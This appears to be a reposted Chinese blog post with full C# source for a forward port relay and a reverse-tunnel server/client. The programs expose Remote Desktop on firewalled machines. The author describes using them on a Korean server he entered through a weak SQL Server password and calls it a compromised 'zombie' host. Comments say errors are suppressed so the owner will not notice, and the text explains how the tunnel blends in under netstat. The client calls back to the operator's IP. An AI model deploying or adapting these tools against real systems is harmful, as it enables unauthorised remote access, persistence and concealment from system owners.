c#做端口转发程序支持正向连接和反向链接

3389的时候

例子1：连接a机器的3389端口连不上，因为对方防火墙或者网关做了限制，只能访问a机器的个别端口比如80。

例子2：连接a机器的几乎所有端口都连不上（对方乃内网或者防火墙网关做了限制），只能1433上去，但是对方可以连接你的某些端口。

 

解决

第一种较简单，只需要程序在对方开80，你连接他80，程序收到数据后，发送到他本机的3389，同时从他3389收到数据后返回到你。程序就是一个中转站。

 

[c-sharp] view plaincopy
  1. using System;  
  2. using System<a href="http://lib.csdn.net/base/dotnet" class='replace_word' title=".NET知识库" target='_blank' style='color:#df3434; font-weight:bold;'>.NET</a>.Sockets;  
  3. using System.Threading;  
  4.   
  5. namespace PortTransponder  
  6. {  
  7.     class Program  
  8.     {  
  9.         static void Main(string[] args)  
  10.         {  
  11.             TcpListener tl = new TcpListener(80);//这里开对方可以被你连接并且未被占用的端口  
  12.             tl.Start();  
  13.             while (true)//这里必须用循环，可以接收不止一个客户，因为我发现终端服务有时一个端口不行就换一个端口重连  
  14.             {  
  15.                 //下面的意思就是一旦程序收到你发送的数据包后立刻开2个线程做中转  
  16.                 try  
  17.                 {  
  18.                     TcpClient tc1 = tl.AcceptTcpClient();//这里是等待数据再执行下边，不会100%占用cpu  
  19.                     TcpClient tc2 = new TcpClient("localhost", 3389);  
  20.                     tc1.SendTimeout = 300000;//设定超时，否则端口将一直被占用，即使失去连接  
  21.                     tc1.ReceiveTimeout = 300000;  
  22.                     tc2.SendTimeout = 300000;  
  23.                     tc2.ReceiveTimeout = 300000;  
  24.                     object obj1 = (object)(new TcpClient[] { tc1, tc2 });  
  25.                     object obj2 = (object)(new TcpClient[] { tc2, tc1 });  
  26.                     ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj1);  
  27.                     ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj2);  
  28.                 }  
  29.                 catch { }  
  30.             }  
  31.         }  
  32.         public static void transfer(object obj)  
  33.         {  
  34.             TcpClient tc1 = ((TcpClient[])obj)[0];  
  35.             TcpClient tc2 = ((TcpClient[])obj)[1];  
  36.             NetworkStream ns1 = tc1.GetStream();  
  37.             NetworkStream ns2 = tc2.GetStream();  
  38.             while (true)  
  39.             {  
  40.                 try  
  41.                 {  
  42.                     //这里必须try catch，否则连接一旦中断程序就崩溃了，要是弹出错误提示让机主看见那就囧了  
  43.                     byte[] bt = new byte[10240];  
  44.                     int count = ns1.Read(bt, 0, bt.Length);  
  45.                     ns2.Write(bt, 0, count);  
  46.                 }  
  47.                 catch  
  48.                 {  
  49.                     ns1.Dispose();  
  50.                     ns2.Dispose();  
  51.                     tc1.Close();  
  52.                     tc2.Close();  
  53.                     break;  
  54.                 }  
  55.             }  
  56.         }  
  57.     }  
  58. }  

这样在对方机器执行和，直接mstsc /v:对方ip:80就能终端上去了

 

 

第二种稍微复杂一点，需要客户机和服务器2个程序，你在自己机器上开服务器端，在对方机器上执行客户端连接你的服务器端，一旦连接上你的服务器端再开个端口让终端程序连接，对方机器上客户端再开个端口连接他自己的3389，做2次中转就可以终端上去了。

具体流程

本机ip开8080端口

对方机器连接你的8080端口，比如端口是49908

连接成功后

你的机器再开一个比如9833端口

对方机器再开一个连接连接他自己的3389，比如端口是49909吧

好这时你用你的mstsc连接自己的 localhost:9833，数据包就从本机9833-本机8080-对方49908-对方49909-对方3389，对方3389的数据反着回来就行了。

 

[c-sharp] view plaincopy
  1. //服务器端  
  2. using System;  
  3. using System.Collections.Generic;  
  4. using System<a href="http://lib.csdn.net/base/dotnet" class='replace_word' title=".NET知识库" target='_blank' style='color:#df3434; font-weight:bold;'>.net</a>.Sockets;  
  5. using System.Threading;  
  6.   
  7. namespace fanxiangserver  
  8. {  
  9.     class Program  
  10.     {  
  11.         public static Dictionary<int, TcpClient> dic = new Dictionary<int, TcpClient>();  
  12.         public static NetworkStream kongzhins = null;  
  13.         static void Main(string[] args)  
  14.         {  
  15.             ThreadPool.QueueUserWorkItem(new WaitCallback(start1));  
  16.             ThreadPool.QueueUserWorkItem(new WaitCallback(start2));  
  17.             WaitHandle.WaitAll(new ManualResetEvent[] { new ManualResetEvent(false) });  
  18.         }  
  19.         public static void start1(object obj)  
  20.         {  
  21.             TcpListener tl = new TcpListener(8080);//开一个对方可以连接的端口，今天这棒子机器连他只能1433，其他连不上，他连别人只能80 8080 21     
  22.             tl.Start();  
  23.             while (true)  
  24.             {  
  25.                 TcpClient tc = tl.AcceptTcpClient();  
  26.                 jieshou(tc);  
  27.             }  
  28.         }  
  29.         public static void start2(object obj)  
  30.         {  
  31.             TcpListener tl = new TcpListener(9833); //开一个随意端口让自己的mstsc连。     
  32.             tl.Start();  
  33.             while (true)  
  34.             {  
  35.                 TcpClient tc = tl.AcceptTcpClient();  
  36.                 Random rnd = new Random();  
  37.                 int biaoji = rnd.Next(1000000000, 2000000000);  
  38.                 dic.Add(biaoji, tc);  
  39.                 byte[] bt = BitConverter.GetBytes(biaoji);  
  40.                 kongzhins.Write(bt, 0, bt.Length);  
  41.             }  
  42.         }  
  43.         public static void jieshou(TcpClient tc)  
  44.         {  
  45.             //这里体现的是一个配对的问题，自己体会一下吧  
  46.             NetworkStream ns = tc.GetStream();  
  47.             byte[] bt = new byte[4];  
  48.             int count = ns.Read(bt, 0, bt.Length);  
  49.             if (count == 2 && bt[0] == 0x6f && bt[1] == 0x6b)  
  50.             {  
  51.                 kongzhins = ns;  
  52.             }  
  53.             else  
  54.             {  
  55.                 int biaoji = BitConverter.ToInt32(bt, 0);  
  56.                 lianjie(biaoji, tc);  
  57.             }  
  58.         }  
  59.         public static void lianjie(int biaoji, TcpClient tc1)  
  60.         {  
  61.             TcpClient tc2 = null;  
  62.             if (dic.ContainsKey(biaoji))  
  63.             {  
  64.                 dic.TryGetValue(biaoji, out tc2);  
  65.                 dic.Remove(biaoji);  
  66.                 tc1.SendTimeout = 300000;  
  67.                 tc1.ReceiveTimeout = 300000;  
  68.                 tc2.SendTimeout = 300000;  
  69.                 tc2.ReceiveTimeout = 300000;  
  70.                 object obj1 = (object)(new TcpClient[] { tc1, tc2 });  
  71.                 object obj2 = (object)(new TcpClient[] { tc2, tc1 });  
  72.                 ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj1);  
  73.                 ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj2);  
  74.             }  
  75.         }  
  76.         public static void transfer(object obj)  
  77.         {  
  78.             TcpClient tc1 = ((TcpClient[])obj)[0];  
  79.             TcpClient tc2 = ((TcpClient[])obj)[1];  
  80.             NetworkStream ns1 = tc1.GetStream();  
  81.             NetworkStream ns2 = tc2.GetStream();  
  82.             while (true)  
  83.             {  
  84.                 try  
  85.                 {  
  86.                     //这里必须try catch，否则连接一旦中断程序就崩溃了，要是弹出错误提示让机主看见那就囧了  
  87.                     byte[] bt = new byte[10240];  
  88.                     int count = ns1.Read(bt, 0, bt.Length);  
  89.                     ns2.Write(bt, 0, count);  
  90.                 }  
  91.                 catch  
  92.                 {  
  93.                     ns1.Dispose();  
  94.                     ns2.Dispose();  
  95.                     tc1.Close();  
  96.                     tc2.Close();  
  97.                     break;  
  98.                 }  
  99.             }  
  100.         }  
  101.     }  
  102. }  

[c-sharp] view plaincopy
  1. //客户端  
  2. using System;  
  3. using System.Text;  
  4. using System<a href="http://lib.csdn.net/base/dotnet" class='replace_word' title=".NET知识库" target='_blank' style='color:#df3434; font-weight:bold;'>.Net</a>.Sockets;  
  5. using System.Threading;  
  6.   
  7. namespace fanxiangclient  
  8. {  
  9.     class Program  
  10.     {  
  11.         public static NetworkStream kongzhins = null;  
  12.         static void Main(string[] args)  
  13.         {  
  14.             try  
  15.             {  
  16.                 TcpClient tc = new TcpClient("你的IP", 8080);  
  17.                 kongzhins = tc.GetStream();  
  18.                 byte[] bt = Encoding.Default.GetBytes("ok");//这里发送一个连接提示  
  19.                 kongzhins.Write(bt, 0, bt.Length);  
  20.                 jieshou();  
  21.                 WaitHandle.WaitAll(new ManualResetEvent[] { new ManualResetEvent(false) });//这里为什么要这样呢?我发现sqlserver执行是localsystem账号如果console.read()程序马上退出  
  22.             }  
  23.             catch { }  
  24.         }  
  25.         public static void jieshou()  
  26.         {  
  27.             while (true)  
  28.             {  
  29.                 byte[] bt = new byte[4];  
  30.                 kongzhins.Read(bt, 0, bt.Length);  
  31.                 TcpClient tc1 = new TcpClient("你的IP", 8080);  
  32.                 TcpClient tc2 = new TcpClient("localhost", 3389);  
  33.                 tc1.SendTimeout = 300000;  
  34.                 tc1.ReceiveTimeout = 300000;  
  35.                 tc2.SendTimeout = 300000;  
  36.                 tc2.ReceiveTimeout = 300000;  
  37.                 tc1.GetStream().Write(bt, 0, bt.Length);  
  38.                 object obj1 = (object)(new TcpClient[] { tc1, tc2 });  
  39.                 object obj2 = (object)(new TcpClient[] { tc2, tc1 });  
  40.                 ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj1);  
  41.                 ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj2);  
  42.             }  
  43.         }  
  44.         public static void transfer(object obj)  
  45.         {  
  46.             TcpClient tc1 = ((TcpClient[])obj)[0];  
  47.             TcpClient tc2 = ((TcpClient[])obj)[1];  
  48.             NetworkStream ns1 = tc1.GetStream();  
  49.             NetworkStream ns2 = tc2.GetStream();  
  50.             while (true)  
  51.             {  
  52.                 try  
  53.                 {  
  54.                     byte[] bt = new byte[10240];  
  55.                     int count = ns1.Read(bt, 0, bt.Length);  
  56.                     ns2.Write(bt, 0, count);  
  57.                 }  
  58.                 catch  
  59.                 {  
  60.                     ns1.Dispose();  
  61.                     ns2.Dispose();  
  62.                     tc1.Close();  
  63.                     tc2.Close();  
  64.                     break;  
  65.                 }  
  66.             }  
  67.         }  
  68.     }  
  69. }  

 

 

 

好，这样你连接mstsc /v:localhost:9833，后数据就经过了好几转转到了对方的3389上。这样即使对方是内网也可以被终端了，而且好处是对方查看netstat -an看到的是这种东西

 

 

활성 연결

  프로토콜  로컬 주소           외부 주소              상태
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1433           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:5357           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49152          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49153          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49154          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49155          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49156          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49157          0.0.0.0:0              LISTENING
  TCP    他的IP:139             0.0.0.0:0              LISTENING
  TCP    他的IP:49908           我的IP:8080            ESTABLISHED
  TCP    [::]:135               [::]:0                 LISTENING
  TCP    [::]:445               [::]:0                 LISTENING
  TCP    [::]:3389              [::]:0                 LISTENING
  TCP    [::]:5357              [::]:0                 LISTENING
  TCP    [::]:49152             [::]:0                 LISTENING
  TCP    [::]:49153             [::]:0                 LISTENING
  TCP    [::]:49154             [::]:0                 LISTENING
  TCP    [::]:49155             [::]:0                 LISTENING
  TCP    [::]:49156             [::]:0                 LISTENING
  TCP    [::]:49157             [::]:0                 LISTENING
  TCP    [::1]:3389             [::1]:49909            ESTABLISHED
  TCP    [::1]:49909            [::1]:3389             ESTABLISHED
  UDP    0.0.0.0:123            *:*
  UDP    0.0.0.0:500            *:*
  UDP    0.0.0.0:1434           *:*
  UDP    0.0.0.0:3702           *:*
  UDP    0.0.0.0:3702           *:*
  UDP    0.0.0.0:4500           *:*
  UDP    0.0.0.0:5355           *:*
  UDP    0.0.0.0:64966          *:*
  UDP    他的IP:137             *:*
  UDP    他的IP:138             *:*
  UDP    [::]:123               *:*
  UDP    [::]:500               *:*
  UDP    [::]:3702              *:*
  UDP    [::]:3702              *:*
  UDP    [::]:5355              *:*
  UDP    [::]:64967             *:*

 

只能看到他的49908在连接我的8080，就像看网站一样，要是80就更像了，而49909连接3389一般注意不到，反正没有ip地址，这棒子想不到吧，他做的这么变态的限制都被终端上去了，起因就是sqlserver弱口令和权限，这个机器是win2008，i7 920的u，不明白棒子的网管为什么一点安全知识都没有，而且屡教不改，上次进去一看，那机器已经被国内黑克给x了n遍了，上边布满了木马，最后实在启动不了了，他重装了，结果那个sqlserver还是那个权限还是那个密码，服气吧。但是如果netstat -ano发现连我的pid和连3389的pid是一个那就可以发现了。

 

以上程序都是经我测试后非常ok的，但是没有经过优化，尤其是反向连接的，可以做成个服务是吧，或者连接的时候加个验证啦什么的，还有我的Ip地址也是变的，可以做成个服务，定时读取某一网页上我的新ip，告诉他连还是不连啦，什么的。而且还可以做成个http代理翻wall啦，总之花样是很多的。

 

2010年9月10日下午18点更正反向连接的一个小问题，即连接配对的问题，这样的话只要肉鸡反向连接到你的服务器端，你可以开多个终端上去用不同的账号同时登陆了。

 

看到好多人说cpu占用率高什么的，我补充一句，我给出代码的目的是告诉大家端口转发的方法和思路，并不是让你直接粘过去用，如果那样的话我直接编译成exe不就完了吗，授人以鱼不如授人以渔对吧，所以大家看明白了怎么回事自己去改和优化，像缓冲区大小是否合适啦，超时啦，连接判断啦什么的，这些都是要自己去优化的，所以代码很短嘛，就是为了让大家看的简单明了，所以直接用的话效率不会很高，但这是个完整骨架，我自己用的就在这段骨架的基础上优化并增加了很多功能，而且cpu占用率内存占用都是没有问题的。

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/news/387595.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

Spring Boot(十四)：spring boot整合shiro-登录认证和权限管理

Spring Boot(十四)：spring boot整合shiro-登录认证和权限管理

Spring Boot(十四)&#xff1a;spring boot整合shiro-登录认证和权限管理 使用Spring Boot集成Apache Shiro。安全应该是互联网公司的一道生命线&#xff0c;几乎任何的公司都会涉及到这方面的需求。在Java领域一般有Spring Security、Apache Shiro等安全框架&#xff0c;但是由…
阅读更多...
通用权限管理系统组件 (GPM - General Permissions Manager) 不改数据库、甚至不写代码就集成铜墙铁壁权限管理组件...

通用权限管理系统组件 (GPM - General Permissions Manager) 不改数据库、甚至不写代码就集成铜墙铁壁权限管理组件...

为什么80%的码农都做不了架构师&#xff1f;>>> 越成熟的东西&#xff0c;越牛X的东西&#xff0c;越简单才对&#xff0c;简单才是硬道理&#xff0c;苹果的手机只有少数几个按键&#xff0c;苹果Ipad也很少的按钮&#xff0c;甚至连苹果的笔记本键盘都少一排&…
阅读更多...
数学符号及读法大全

数学符号及读法大全

数学符号及读法大全 常用数学输入符号&#xff1a; ≈ ≡ ≠ &#xff1d; ≤≥ &#xff1c; &#xff1e; ≮ ≯ ∷ &#xff0b; &#xff0d; &#xff0f; ∫ ∮ ∝ ∞ ∧ ∨ ∑ ∏ ∪ ∩ ∈ ∵ ∴ ⊥ ‖ ∠ ⌒ ≌ ∽ √ &#xff08;&#xff09; 【】&#xff5b…
阅读更多...
在使用win 7 无线承载网络时，启动该服务时，有时会提示：组或资源的状态不是执行请求操作的正确状态。 网上有文章指出，解决这个问题的方法是在设备管理器中启动“Microsoft托管网络虚拟适配

在使用win 7 无线承载网络时，启动该服务时，有时会提示：组或资源的状态不是执行请求操作的正确状态。 网上有文章指出，解决这个问题的方法是在设备管理器中启动“Microsoft托管网络虚拟适配

在使用win 7 无线承载网络时&#xff0c;启动该服务时&#xff0c;有时会提示&#xff1a;组或资源的状态不是执行请求操作的正确状态。 网上有文章指出&#xff0c;解决这个问题的方法是在设备管理器中启动“Microsoft托管网络虚拟适配器”&#xff0c;见 http://jingyan.baid…
阅读更多...
阿里一年，聊聊我成长了什么，入职阿里的职业生涯感悟

阿里一年，聊聊我成长了什么，入职阿里的职业生涯感悟

2018.5.31~2019.5.31&#xff0c;一段精彩的旅程&#xff0c;渡过了在阿里一年的时光&#xff0c;这段时光有快乐、有焦虑、有迷茫、更有思考&#xff0c;思考的是自己过去的种种不足、思考的是一些现在看来之前错误的想法、思考的是如何成为一个更好的技术人&#xff0c;将这一…
阅读更多...
偏差-方差分解（转）

偏差-方差分解（转）

1、定义 这里所说的偏差-方差分解就是一种解释模型泛化性能的一种工具。它是对模型的期望泛化错误率进行拆解。 样本可能出现噪声&#xff0c;使得收集到的数据样本中的有的类别与实际真实类别不相符。对测试样本 x&#xff0c;另 yd 为 x 在数据集中的标记&#xff0c;y 为真实…
阅读更多...
用过C#的朋友可能认为它是一种十分安全的语言，其实C#也可以做到经典的缓冲区溢出。 本文章将用一个实例来描述C#究竟是如何发生缓冲区溢出的！ 首先建立一个C# Console工程，并开启工程的“允许

用过C#的朋友可能认为它是一种十分安全的语言，其实C#也可以做到经典的缓冲区溢出。 本文章将用一个实例来描述C#究竟是如何发生缓冲区溢出的！ 首先建立一个C# Console工程，并开启工程的“允许

用过C#的朋友可能认为它是一种十分安全的语言&#xff0c;其实C#也可以做到经典的缓冲区溢出。 本文章将用一个实例来描述C#究竟是如何发生缓冲区溢出的&#xff01; 首先建立一个C# Console工程&#xff0c;并开启工程的“允许不安全代码”选项 键入代码&#xff1a; [csharp]…
阅读更多...
COOKIE伪造登录网站后台

COOKIE伪造登录网站后台

1.关于XSS&#xff08;跨站脚本攻击&#xff09;和CSRF&#xff08;跨站请求伪造&#xff09;的知识&#xff0c;xss表示Cross Site Scripting(跨站脚本攻击)&#xff0c;它与SQL注入攻击类似&#xff0c;SQL注入攻击中以SQL语句作为用户输入&#xff0c;从而达到查询/修改/删除…
阅读更多...
Spring Cloud 学习 (五) Zuul

Spring Cloud 学习 (五) Zuul

Zuul 作为路由网关组件&#xff0c;在微服务架构中有着非常重要的作用&#xff0c;主要体现在以下 6 个方面&#xff1a; Zuul, Ribbon 以及 Eureka 相结合&#xff0c;可以实现智能路由和负载均衡的功能&#xff0c;Zuul 能够将请求流量按某种策略分发到集群状态的多个服务实例…
阅读更多...
如何利用445端口进行入侵渗透 445端口入侵原因详细解析。大家在进行入侵渗透个人电脑的时候，经常会碰到各种各样的端口，比如135，1433，445，3306等端口，现在小编就给大家讲解下445端口如

如何利用445端口进行入侵渗透 445端口入侵原因详细解析。大家在进行入侵渗透个人电脑的时候，经常会碰到各种各样的端口，比如135，1433，445，3306等端口，现在小编就给大家讲解下445端口如

如何利用445端口进行入侵渗透 445端口入侵原因详细解析。大家在进行入侵渗透个人电脑的时候&#xff0c;经常会碰到各种各样的端口&#xff0c;比如135&#xff0c;1433&#xff0c;445&#xff0c;3306等端口&#xff0c;现在小编就给大家讲解下445端口如何入侵。 445端口入侵…
阅读更多...
项目复盘

项目复盘

前言 最近一年半多一直在做一个CMS项目&#xff0c;做了快两年了也没有上线&#xff0c;而且开发还走了不少&#xff0c;其中有不少原因是因为开发中频繁改动需求导致开发人员失去耐心&#xff0c;但是其中还有一个重要的原因就是架构设计的不好&#xff0c;导致很多服务的边界…
阅读更多...
父、子页面之间页面元素的获取，方法的调用

父、子页面之间页面元素的获取，方法的调用

一、在iframe页面上调取父级页面元素 1.在父页面上获取iframe页面元素(在父页面修改子页面div的背景色为红色) js代码如下&#xff1a; 1 <script type"text/javascript"> 2 window.onload function(){ 3 var iframe document.getElementById(iframeId)…
阅读更多...
fiddler，他和其他抓包软件有什么区别，如何使用fiddler进行抓包

fiddler，他和其他抓包软件有什么区别，如何使用fiddler进行抓包

前言&#xff1a;本文章是搭配《批量获取微信公众号》一文&#xff0c;介于群里朋友很热情&#xff0c;我就趁着上班测完bug 来撰写该文章&#xff0c;那么读完本文&#xff0c;你会学习到什么呢&#xff1f; 什么是fiddler&#xff0c;他和其他抓包软件有什么区别&#xff0c…
阅读更多...
Vue导入非模块化的第三方插件功能无效解决方案

Vue导入非模块化的第三方插件功能无效解决方案

一、问题&#xff1a; 最近在写vue项目时&#xff0c;想引入某些非模块化的第三方插件时&#xff0c;总是发现会有报错。且在与本地运行插件测试对比时发现插件根本没有注入到jQuery中&#xff08;console.log($.fn)查看当前jq有哪些方法&#xff09;&#xff0c;例如&#xff…
阅读更多...
ES6笔记 -- 字符串拓展

ES6笔记 -- 字符串拓展

字符串拓展 Unicode 相关 JS 允许使用/uxxxx的Unicode方式显示字符, 但是只限于码点在/u0000~/uFFFF之间, 超过该范围的码点必须用双字节形式表示ES6 中, 将码点放入大括号内, 就可以解读JS 不能处理4个字节的字符, 字符串长度会被误判为2ES6 提供了codePointAt方法, 能够正确处…
阅读更多...
android 转发短信

android 转发短信

通过这些代码也可以对远程手机实现短信控制。有兴趣的可以自己改一下&#xff0c;说一下简单的原理&#xff0c;要实现控制的话&#xff0c;必须得走一个固定的号码&#xff0c;固定的格式&#xff0c;然后通过得到此号码的内容&#xff0c;然后通过固定的内容&#xff0c;就可…
阅读更多...
[Noi2016]区间

[Noi2016]区间

传送门 Code /* 线段树 尺取法 */ #include<bits/stdc.h> #define ll long long #define max(a,b) ((a)>(b)?(a):(b)) #define min(a,b) ((a)>(b)?(b):(a)) #define reg register inline int read() {int x0,f1;char chgetchar();while(ch<0||ch>9){if(…
阅读更多...
安装CentOS6.8并配置网络图文解说亲测全过程

安装CentOS6.8并配置网络图文解说亲测全过程

安装环境&#xff1a; 本文是在win10系统安装上VMWare并配置Centos6.8虚拟机。 准备工作 1.安装VMWare虚拟机 1.1下载VMWare12资源链接&#xff1a;https://pan.baidu.com/s/1AhfMSDXLO-aA0eMqnuMWHg 提取码&#xff1a;iftd 1.2安装VMWare&#xff0c;在安装过程中需要输入密钥…
阅读更多...
Paxos算法是莱斯利·兰伯特(Leslie Lamport)1990年提出的一种基于消息传递的一致性算法。

Paxos算法是莱斯利·兰伯特(Leslie Lamport)1990年提出的一种基于消息传递的一致性算法。

Paxos算法是莱斯利兰伯特(Leslie Lamport)1990年提出的一种基于消息传递的一致性算法。Paxos算法解决的问题是一个分布式系统如何就某个值&#xff08;决议&#xff09;达成一致。在工程实践意义上来说&#xff0c;就是可以通过Paxos实现多副本一致性&#xff0c;分布式锁&…
阅读更多...
09、策略模式

09、策略模式

2019独角兽企业重金招聘Python工程师标准>>> 策略模式与工厂模式最大的区别在于&#xff0c;策略模式注重的是对算法的维护&#xff0c;也可以理解为对算法的封装。而工厂模式&#xff0c;则只是负责创建类&#xff0c;在刚接触策略模式时候&#xff0c;往往与工厂模…
阅读更多...
最新文章

Copyright @ 2022~2023